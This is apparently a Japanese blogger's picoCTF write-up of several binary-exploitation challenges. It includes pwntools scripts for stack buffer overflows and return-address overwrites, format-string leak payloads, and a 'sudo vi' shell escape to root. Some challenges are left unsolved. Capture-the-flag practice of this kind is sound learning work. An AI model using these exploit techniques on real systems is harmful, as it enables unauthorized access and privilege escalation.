    printf("code != 0x%llx :(\n", GOAL);
  }

  return 0;
}
└─# nc mars.picoctf.net 31890
 ______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \ ^ _ ^ / |                | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | //  | /_\ ^| |   ____  ____   | | ^ |
|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|
| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| /     (   \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \|^ ^|
.-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |
|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\ |^ ^|
| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|==                    =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
ls
code == 0x0
code != 0xdeadbeef :(

ソースコードと実行結果から考えるとcodeの値を0xdeadbeefにすることが目標のようだ。渡された実行ファイルが実効可能だったので、スタック情報などを確認しながらオバーフローに迫りたいと思う。(picoCTF 2022 buffer overflow 2 Writeup)を参考にスタックを確認していく。
まずはmain関数をdisasしてみる。(大切そうなところだけ抜粋)

gdb-peda$ disas main
Dump of assembler code for function main:
、、、
   0x0000000000400716 <+79>:    mov    rax,QWORD PTR [rip+0x201933]        # 0x602050 <HEADER>
   0x000000000040071d <+86>:    mov    rdi,rax
、、、
   0x000000000040074c <+133>:   call   0x4005d0 <gets@plt>
   0x0000000000400751 <+138>:   mov    eax,0xdeadbeef
   0x0000000000400756 <+143>:   cmp    QWORD PTR [rbp-0x8],rax
   0x000000000040075a <+147>:   jne    0x40078c <main+197>
、、、
End of assembler dump.

知りたいのはcodeのアドレスとclutterからどれだけ入力したらcodeに届くのかということ。
ではまずcodeの位置を確認してみる。 if (code == GOAL) {が始まる前まで実行して以下のコマンドをたたく。

gdb-peda$ x/40xw $rsp
0x7fffffffe2c0: 0x00414141      0x00007fff      0x000012f9      0x00000000
0x7fffffffe2d0: 0x00c00000      0x00000000      0x008c0328      0x00000000
0x7fffffffe2e0: 0x00040000      0x00000000      0xf7fe0e16      0x00007fff
0x7fffffffe2f0: 0x00000000      0x00000000      0x00008000      0x00000000
0x7fffffffe300: 0x00000002      0x00000000      0x00000006      0x80000000
0x7fffffffe310: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe320: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe330: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe340: 0x00040000      0x00000000      0x00000004      0x00000000
0x7fffffffe350: 0x00000040      0x00000000      0x00000010      0x00000000

0x7fffffffe2c0から入力が行われていることが分かった。つまり、clutterは0x7fffffffe2c0から始まる。 codeを探してもp codeとかですね。わからない。 0x400756 <main+143>: cmp QWORD PTR [rbp-0x8],raxというところが比較を行っている。raxがGOALのようだ。

gdb-peda$ x/40xw $rax
0xdeadbeef:     Cannot access memory at address 0xdeadbeef

rbp-0x8を見てみる。

gdb-peda$ x/40xw $rbp - 0x8
0x7fffffffe3c8: 0x00000000      0x00000000      0x00000001      0x00000000

つまり、codeは0x7fffffffe3c8であり、そことGOALが比較している。 つまり、clutterとcodeの距離は0x7fffffffe3c8 - 0x7fffffffe2c0=0x108(264)となる。
よって、入力するべき文字数は4264//4=264入力が必要。 よって、b'a'264 + '0xdeadbeef'を入力できればできそう。

from pwn import *

io = remote("mars.picoctf.net",31890)
goal = p32(0xdeadbeef)

io.sendline(b"a"*264+goal)
print(io.recvall())

以上のコードを実行するとflagを手に入れることができた。

hijacking

Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.
該当サーバーにsshしてみる。

picoctf@challenge:~$ ls -al
total 16
drwxr-xr-x 1 picoctf picoctf   20 Apr 27 03:28 .
drwxr-xr-x 1 root    root      21 Aug  4  2023 ..
-rw-r--r-- 1 picoctf picoctf  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25  2020 .bashrc
drwx------ 2 picoctf picoctf   34 Apr 27 03:28 .cache
-rw-r--r-- 1 picoctf picoctf  807 Feb 25  2020 .profile
-rw-r--r-- 1 root    root     375 Mar 16  2023 .server.py

ホームディレクトリでのファイル。

picoctf@challenge:~$ cat .server.py
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

そこにあるpythonコード。実行してみる。

picoctf@challenge:~$ python3 .server.py
sh: 1: ping: not found
Traceback (most recent call last):
  File ".server.py", line 7, in <module>
    host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname

とにかくできないようだ。writeupをちっと見てしまったsudo -lで実行できるコマンドを知れるようだ。

picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

全員vimは使えるようだ。rootユーザーならパスワードなしでpythonと.server.pyが使えるようだ。(GTFOBinsを利用したLinuxの権限昇格【sudo編】)を見てみると、(GTFOBins )というサイトに権限昇格等に利用できる知識が集約されているようだ。

知識(GTFOBins)
GTFOBins (GTFOBins )。


見てみると上記のようなコードを打つとsudo権限が取れるようだ。

picoctf@challenge:~$ sudo vi -c ':!/bin/sh'
[sudo] password for picoctf:

picoctfのパスワードを要求されるので、与えられたパスワードを入力。

# whoami
root

root権限が取れた。rootディレクトリに行くと、

# ls -al
total 12
drwx------ 1 root root   23 Aug  4  2023 .
drwxr-xr-x 1 root root   51 Apr 27 04:22 ..
-rw-r--r-- 1 root root 3106 Dec  5  2019 .bashrc
-rw-r--r-- 1 root root   43 Aug  4  2023 .flag.txt
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile

flagがあった。終了。

flag leak

Story telling class 1/2 I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using: nc saturn.picoctf.net 65239
ということで、よくわからん。与えられたコードをもとに考えていく。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

よくあるvulnからバッファオーバーフローを起こして、readflag関数に飛ばすやつではないだろうか?いや、引数をスタックに積んでから飛ばすのか?それともvulnでreadflag関数がすでに呼ばれているので、それを考えるのか?

   0x0804934f <+28>:    push   0x40
   0x08049351 <+30>:    lea    eax,[ebp-0x48]
   0x08049354 <+33>:    push   eax
   0x08049355 <+34>:    call   0x80492b6 <readflag>

readflagを呼ぶ前にスタックへ64(0x40)が積まれその次にflagの領域が積まれている感じだと思う。いや、これprintf(story);が書式指定子がないので、%sなどでスタック情報を入手できる。

└─# nc saturn.picoctf.net 64039
Tell me a story and then I'll tell you one >> %p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Here's a story -
0xffb94b00,0xffb94b20,0x8049346,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x252c70,0x6f636970,0x7b465443,0x6b34334c,0x5f676e31,0x67346c46,0x6666305f,0x3474535f,

いい感じでないかね。
あと少しのところで来ない。コードを確認するとscanf("%127s", story);となっており、127sしか取り込んでいないコンマは邪魔っぽい。コンマなしで入力してみる。

└─# nc saturn.picoctf.net 64039
Tell me a story and then I'll tell you one >> %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
Here's a story -
0xffbbe1600xffbbe1800x80493460x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xee274d000xee0f9ab00x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x395f6b630x303666350x7d3731360xfbad20000xb3a62200(nil)0xee2b09900x804c0000x8049410(nil)0x804c0000xffbbe2480x80494180x20xffbbe2f40xffbbe300(nil)0xffbbe260

お!さっきより流出できている気がする。

出てきましたね。swap endiannessのword = 4で並び替えるとflagゲット。

x-sixty-what

Overflow x64 code Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source. nc saturn.picoctf.net 55353
渡されたコードは実行できる。アドレスを見ることができそう。

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

よくあるバッファオーバーフローのやつ。

gdb-peda$ pdisas flag
Dump of assembler code for function flag:
   0x0000000000401236 <+0>:     endbr64

flag関数は0x00401236であることが分かる。bufの下にあるリターンアドレスを書き換えることを目指す。

   0x0000000000401333 <+97>:    call   0x4012b2 <vuln>
   0x0000000000401338 <+102>:   mov    eax,0x0

main関数のvulnが戻ってくるアドレスは0x00401338になっている。
入力を求められて入力した後のスタック状況を確認する。

gdb-peda$ x/40xw $rsp
0x7fffffffe370: 0x61616161      0x00007f00      0xf7e4ccfa      0x00007fff
0x7fffffffe380: 0xf7fab780      0x00007fff      0xf7e4d423      0x00007fff
0x7fffffffe390: 0xffffe4f8      0x00007fff      0xffffe3e0      0x00007fff
0x7fffffffe3a0: 0x00000000      0x00000000      0xffffe508      0x00007fff
0x7fffffffe3b0: 0xffffe3e0      0x00007fff      0x00401338      0x00000000
0x7fffffffe3c0: 0xffffe4f8      0x00007fff      0xf7fe6780      0x00000001
0x7fffffffe3d0: 0x00000000      0x00000000      0xf7ffdab0      0x00000000
0x7fffffffe3e0: 0x00000001      0x00000000      0xf7dfe6ca      0x00007fff
0x7fffffffe3f0: 0xffffe4e0      0x00007fff      0x004012d2      0x00000000
0x7fffffffe400: 0x00400040      0x00000001      0xffffe4f8      0x00007fff

aを4回打ったので0x61616161になっている。0x7fffffffe3b8にリターンアドレスが書き込まれていることが分かる。スタックの先頭からの距離は0x48(72)である。a*72入力したのちに0x00401236のアドレスを入力したらよさそう。

from pwn import *

io = remote("saturn.picoctf.net",56334)
goal = p64(0x00401236)

io.sendline(b"a"*72+goal)
print(io.recvall())

これでやってみたができない。あれ違ったかな。hintやwriteupを見た。
いい線まで言っていることはわかる。flag関数の先頭でなく0x000000000040123b <+5>: mov rbp,rspここに飛ばす方がよかったようだ。なんでだろうか?ほかにもret関数を積んでからリターンアドレスを積む方法もある。ropでも解けるということだろうか?少し個々の謎は解明したい。

from pwn import *

io = remote("saturn.picoctf.net",61053)
goal = p64(0x0040123b)

io.sendline(b"a"*72+goal)
print(io.recvall())

上記のコードで実行するとflagゲット。

これより下は未解決

Cache Me Outside

While being super relevant with my meme references, I wrote a program to see how much you understand heap allocations.
ヒープ領域に関する脆弱性をつくようだ。実行ファイルしか渡されていないので、gdbとghidraを用いて解析していく。ghidraを見ていると、以下のようなコードがある。
変数名を自身で変えたので意味が分からないものになっているが、つまり、mallocした領域の先頭アドレス+0x10したところの文字を出力するように思う。コードを見ているとlocal_98とflagを抽出した文字列をstrcatで連結しているように見える。つまり、このlocal_98をヒントにflagの場所を特定して、putsさせればいいということかな?わからない。writeupを見る。(ポン中のハシビロコウ)読んでみたけど、よくわからん!

CE-XXXX-XXXX

heap 3

This program mishandles memory. Can you exploit it to get the flag? Download the binary here. Download the source here. Connect with the challenge instance here: nc tethys.picoctf.net 54618

という感じでコードとプログラムが渡された。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

// Create struct
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

int num_allocs;
object *x;

何かしらの構造体を定義している。

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

ここがflagを表示する関数のようだ。xオブジェクトのflagがpicoだったら勝つようだ。

void alloc_object() {
    printf("Size of object allocation: ");
    fflush(stdout);
    int size = 0;
    scanf("%d", &size);
    char* alloc = malloc(size);
    printf("Data for flag: ");
    fflush(stdout);
    scanf("%s", alloc);
}

何かしら新しい関数があるようだ。

format string 1

Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest! Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 56681
裏メニューがあるようだ。

└─# nc mimas.picoctf.net 56681
Give me your order and I'll read it back to you:
%s%s%s%s
Here's your order: Here's your order: (null)(null)
Bye!

先と似た感じで%sを多用してみるがうまいこといかない。フォーマット指定子の攻撃について調べていると(format string attackによるメモリ読み出しをやってみる)%xを用いてメモリを表示させることもできるようだ。

└─# nc mimas.picoctf.net 56681
Give me your order and I'll read it back to you:
%x%x%x%x%x%x%x
Here's your order: 40211802615fa000e88880a347834b3608d80
Bye!

何かうまいこと流出できている。ここでメモリのエディアンについて調べた。

└─# file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped

渡された実行ファイルはx86-64形式であるようだ。(Linux で Arm64 アセンブリプログラミング (01) メモリ、バイト、レジスタ、エンディアン)を見ると

エンディアンは CPU に依存していて、x86x86-64 はリトルエンディアンです。

とあるので、リトルエディアンで変更させていく。いろいろ試行錯誤しているがまだ解けない。

Give me your order and I'll read it back to you:
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,
Here's your order: 402118,0,9f8fea00,0,1fb6880,a347834,f6558bc0,9f6efe60,9f9144d0,1,f6558c90,0,0,6f636970,6d316e34,33317937,3431665f,63363933,7,9f9168d8,7,74307250,6c797453,9,9f927de9,9f6f8098,9f9144d0,0,f6558ca0,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,0,0,0,0,0,6e656c6c,616d726f,676e6972,0,0,0,0,0,0,0,0,0,0,0,0,0,
Bye!

これで流出できるのはできたと思う。けど、cyberchefでswap edianとfrom hexを用いてもうまくいかない

buffer overflow 2

babygame01

Get the flag and reach the exit. Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map.
flagをとって出口を目指す。ソースコードはないようだ。まずは実行してみる。
何やら出てきた。現在地が4 4でゴールが29 89 flagなしという感じだ。

disas main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08049764 <+0>:     lea    ecx,[esp+0x4]
   0x08049768 <+4>:     and    esp,0xfffffff0
   0x0804976b <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804976e <+10>:    push   ebp
   0x0804976f <+11>:    mov    ebp,esp
   0x08049771 <+13>:    push   ebx
   0x08049772 <+14>:    push   ecx
   0x08049773 <+15>:    sub    esp,0xaa0
   0x08049779 <+21>:    call   0x8049150 <__x86.get_pc_thunk.bx>
   0x0804977e <+26>:    add    ebx,0x2882
   0x08049784 <+32>:    mov    eax,gs:0x14
   0x0804978a <+38>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804978d <+41>:    xor    eax,eax
   0x0804978f <+43>:    lea    eax,[ebp-0xaa4]
   0x08049795 <+49>:    push   eax
   0x08049796 <+50>:    call   0x804953a <init_player>
   0x0804979b <+55>:    add    esp,0x4
   0x0804979e <+58>:    lea    eax,[ebp-0xaa4]
   0x080497a4 <+64>:    push   eax
   0x080497a5 <+65>:    lea    eax,[ebp-0xa98]
   0x080497ab <+71>:    push   eax
   0x080497ac <+72>:    call   0x80492c8 <init_map>
   0x080497b1 <+77>:    add    esp,0x8
   0x080497b4 <+80>:    sub    esp,0x8
   0x080497b7 <+83>:    lea    eax,[ebp-0xaa4]
   0x080497bd <+89>:    push   eax
   0x080497be <+90>:    lea    eax,[ebp-0xa98]
   0x080497c4 <+96>:    push   eax
   0x080497c5 <+97>:    call   0x804948a <print_map>
   0x080497ca <+102>:   add    esp,0x10
   0x080497cd <+105>:   sub    esp,0x8
   0x080497d0 <+108>:   lea    eax,[ebx-0x2dea]
   0x080497d6 <+114>:   push   eax
   0x080497d7 <+115>:   push   0x2
   0x080497d9 <+117>:   call   0x8049090 <signal@plt>
   0x080497de <+122>:   add    esp,0x10
   0x080497e1 <+125>:   call   0x8049070 <getchar@plt>
   0x080497e6 <+130>:   mov    BYTE PTR [ebp-0xaa5],al
   0x080497ec <+136>:   movsx  eax,BYTE PTR [ebp-0xaa5]
   0x080497f3 <+143>:   sub    esp,0x4
   0x080497f6 <+146>:   lea    edx,[ebp-0xa98]
   0x080497fc <+152>:   push   edx
   0x080497fd <+153>:   push   eax
   0x080497fe <+154>:   lea    eax,[ebp-0xaa4]
   0x08049804 <+160>:   push   eax
   0x08049805 <+161>:   call   0x8049564 <move_player>
   0x0804980a <+166>:   add    esp,0x10
   0x0804980d <+169>:   sub    esp,0x8
   0x08049810 <+172>:   lea    eax,[ebp-0xaa4]
   0x08049816 <+178>:   push   eax
   0x08049817 <+179>:   lea    eax,[ebp-0xa98]
   0x0804981d <+185>:   push   eax
   0x0804981e <+186>:   call   0x804948a <print_map>
   0x08049823 <+191>:   add    esp,0x10
   0x08049826 <+194>:   mov    eax,DWORD PTR [ebp-0xaa4]
   0x0804982c <+200>:   cmp    eax,0x1d
   0x0804982f <+203>:   jne    0x80497e1 <main+125>
   0x08049831 <+205>:   mov    eax,DWORD PTR [ebp-0xaa0]
   0x08049837 <+211>:   cmp    eax,0x59
   0x0804983a <+214>:   jne    0x80497e1 <main+125>
   0x0804983c <+216>:   sub    esp,0xc
   0x0804983f <+219>:   lea    eax,[ebx-0x1f78]
   0x08049845 <+225>:   push   eax
   0x08049846 <+226>:   call   0x80490c0 <puts@plt>
   0x0804984b <+231>:   add    esp,0x10
   0x0804984e <+234>:   movzx  eax,BYTE PTR [ebp-0xa9c]
   0x08049855 <+241>:   test   al,al
   0x08049857 <+243>:   je     0x8049884 <main+288>
   0x08049859 <+245>:   sub    esp,0xc
   0x0804985c <+248>:   lea    eax,[ebx-0x1f6f]
   0x08049862 <+254>:   push   eax
   0x08049863 <+255>:   call   0x80490c0 <puts@plt>
   0x08049868 <+260>:   add    esp,0x10
   0x0804986b <+263>:   call   0x8049233 <win>
   0x08049870 <+268>:   mov    eax,DWORD PTR [ebx-0x4]
   0x08049876 <+274>:   mov    eax,DWORD PTR [eax]
   0x08049878 <+276>:   sub    esp,0xc
   0x0804987b <+279>:   push   eax
   0x0804987c <+280>:   call   0x8049060 <fflush@plt>
   0x08049881 <+285>:   add    esp,0x10
   0x08049884 <+288>:   nop
   0x08049885 <+289>:   mov    eax,0x0
   0x0804988a <+294>:   mov    edx,DWORD PTR [ebp-0xc]
   0x0804988d <+297>:   sub    edx,DWORD PTR gs:0x14
   0x08049894 <+304>:   je     0x804989b <main+311>
   0x08049896 <+306>:   call   0x80498b0 <__stack_chk_fail_local>
   0x0804989b <+311>:   lea    esp,[ebp-0x8]
   0x0804989e <+314>:   pop    ecx
   0x0804989f <+315>:   pop    ebx
   0x080498a0 <+316>:   pop    ebp
   0x080498a1 <+317>:   lea    esp,[ecx-0x4]
   0x080498a4 <+320>:   ret
End of assembler dump.

デバッグしてみる。環境で実行できないようなので痛い。見てみるとmove_playerという関数そしてwin関数がある。それぞれ見ていく。
disas move_player

gdb-peda$ disas move_player
Dump of assembler code for function move_player:
   0x08049564 <+0>:     push   ebp
   0x08049565 <+1>:     mov    ebp,esp
   0x08049567 <+3>:     push   esi
   0x08049568 <+4>:     push   ebx
   0x08049569 <+5>:     sub    esp,0x10
   0x0804956c <+8>:     call   0x8049150 <__x86.get_pc_thunk.bx>
   0x08049571 <+13>:    add    ebx,0x2a8f
   0x08049577 <+19>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804957a <+22>:    mov    BYTE PTR [ebp-0xc],al
   0x0804957d <+25>:    cmp    BYTE PTR [ebp-0xc],0x6c
   0x08049581 <+29>:    jne    0x804958e <move_player+42>
   0x08049583 <+31>:    call   0x8049070 <getchar@plt>
   0x08049588 <+36>:    mov    BYTE PTR [ebx+0x44],al
   0x0804958e <+42>:    cmp    BYTE PTR [ebp-0xc],0x70
   0x08049592 <+46>:    jne    0x80495a5 <move_player+65>
   0x08049594 <+48>:    sub    esp,0x8
   0x08049597 <+51>:    push   DWORD PTR [ebp+0x8]
   0x0804959a <+54>:    push   DWORD PTR [ebp+0x10]
   0x0804959d <+57>:    call   0x8049677 <solve_round>
   0x080495a2 <+62>:    add    esp,0x10
   0x080495a5 <+65>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080495a8 <+68>:    mov    edx,DWORD PTR [eax]
   0x080495aa <+70>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080495ad <+73>:    mov    ecx,DWORD PTR [eax+0x4]
   0x080495b0 <+76>:    mov    esi,DWORD PTR [ebp+0x10]
   0x080495b3 <+79>:    imul   eax,edx,0x5a
   0x080495b6 <+82>:    add    eax,esi
   0x080495b8 <+84>:    add    eax,ecx
   0x080495ba <+86>:    mov    BYTE PTR [eax],0x2e
   0x080495bd <+89>:    cmp    BYTE PTR [ebp-0xc],0x77
   0x080495c1 <+93>:    jne    0x80495d2 <move_player+110>
   0x080495c3 <+95>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080495c6 <+98>:    mov    eax,DWORD PTR [eax]
   0x080495c8 <+100>:   lea    edx,[eax-0x1]
   0x080495cb <+103>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495ce <+106>:   mov    DWORD PTR [eax],edx
   0x080495d0 <+108>:   jmp    0x8049613 <move_player+175>
   0x080495d2 <+110>:   cmp    BYTE PTR [ebp-0xc],0x73
   0x080495d6 <+114>:   jne    0x80495e7 <move_player+131>
   0x080495d8 <+116>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495db <+119>:   mov    eax,DWORD PTR [eax]
   0x080495dd <+121>:   lea    edx,[eax+0x1]
   0x080495e0 <+124>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495e3 <+127>:   mov    DWORD PTR [eax],edx
   0x080495e5 <+129>:   jmp    0x8049613 <move_player+175>
   0x080495e7 <+131>:   cmp    BYTE PTR [ebp-0xc],0x61
   0x080495eb <+135>:   jne    0x80495fe <move_player+154>
   0x080495ed <+137>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495f0 <+140>:   mov    eax,DWORD PTR [eax+0x4]
   0x080495f3 <+143>:   lea    edx,[eax-0x1]
   0x080495f6 <+146>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495f9 <+149>:   mov    DWORD PTR [eax+0x4],edx
   0x080495fc <+152>:   jmp    0x8049613 <move_player+175>
   0x080495fe <+154>:   cmp    BYTE PTR [ebp-0xc],0x64
   0x08049602 <+158>:   jne    0x8049613 <move_player+175>
   0x08049604 <+160>:   mov    eax,DWORD PTR [ebp+0x8]
   0x08049607 <+163>:   mov    eax,DWORD PTR [eax+0x4]
   0x0804960a <+166>:   lea    edx,[eax+0x1]
   0x0804960d <+169>:   mov    eax,DWORD PTR [ebp+0x8]
   0x08049610 <+172>:   mov    DWORD PTR [eax+0x4],edx
   0x08049613 <+175>:   mov    eax,DWORD PTR [ebp+0x8]
   0x08049616 <+178>:   mov    ecx,DWORD PTR [eax]
   0x08049618 <+180>:   mov    eax,DWORD PTR [ebp+0x8]
   0x0804961b <+183>:   mov    esi,DWORD PTR [eax+0x4]
   0x0804961e <+186>:   movzx  edx,BYTE PTR [ebx+0x44]
   0x08049625 <+193>:   mov    ebx,DWORD PTR [ebp+0x10]
   0x08049628 <+196>:   imul   eax,ecx,0x5a
   0x0804962b <+199>:   add    eax,ebx
   0x0804962d <+201>:   add    eax,esi
   0x0804962f <+203>:   mov    BYTE PTR [eax],dl
   0x08049631 <+205>:   nop
   0x08049632 <+206>:   lea    esp,[ebp-0x8]
   0x08049635 <+209>:   pop    ebx
   0x08049636 <+210>:   pop    esi
   0x08049637 <+211>:   pop    ebp
   0x08049638 <+212>:   ret
End of assembler dump.

比較が行われている

   0x0804957d <+25>:    cmp    BYTE PTR [ebp-0xc],0x6c
   0x0804958e <+42>:    cmp    BYTE PTR [ebp-0xc],0x70
   0x080495bd <+89>:    cmp    BYTE PTR [ebp-0xc],0x77
   0x080495d2 <+110>:   cmp    BYTE PTR [ebp-0xc],0x73
   0x080495e7 <+131>:   cmp    BYTE PTR [ebp-0xc],0x61
   0x080495fe <+154>:   cmp    BYTE PTR [ebp-0xc],0x64

が気になる。0x6c=l、 0x70=p、0x77=w、 0x73=s、 0x61=a、 0x64=dが入力で何かあるようだ。 wを押すと

Player position: 3 4
End tile position: 29 89
Player has flag: 0

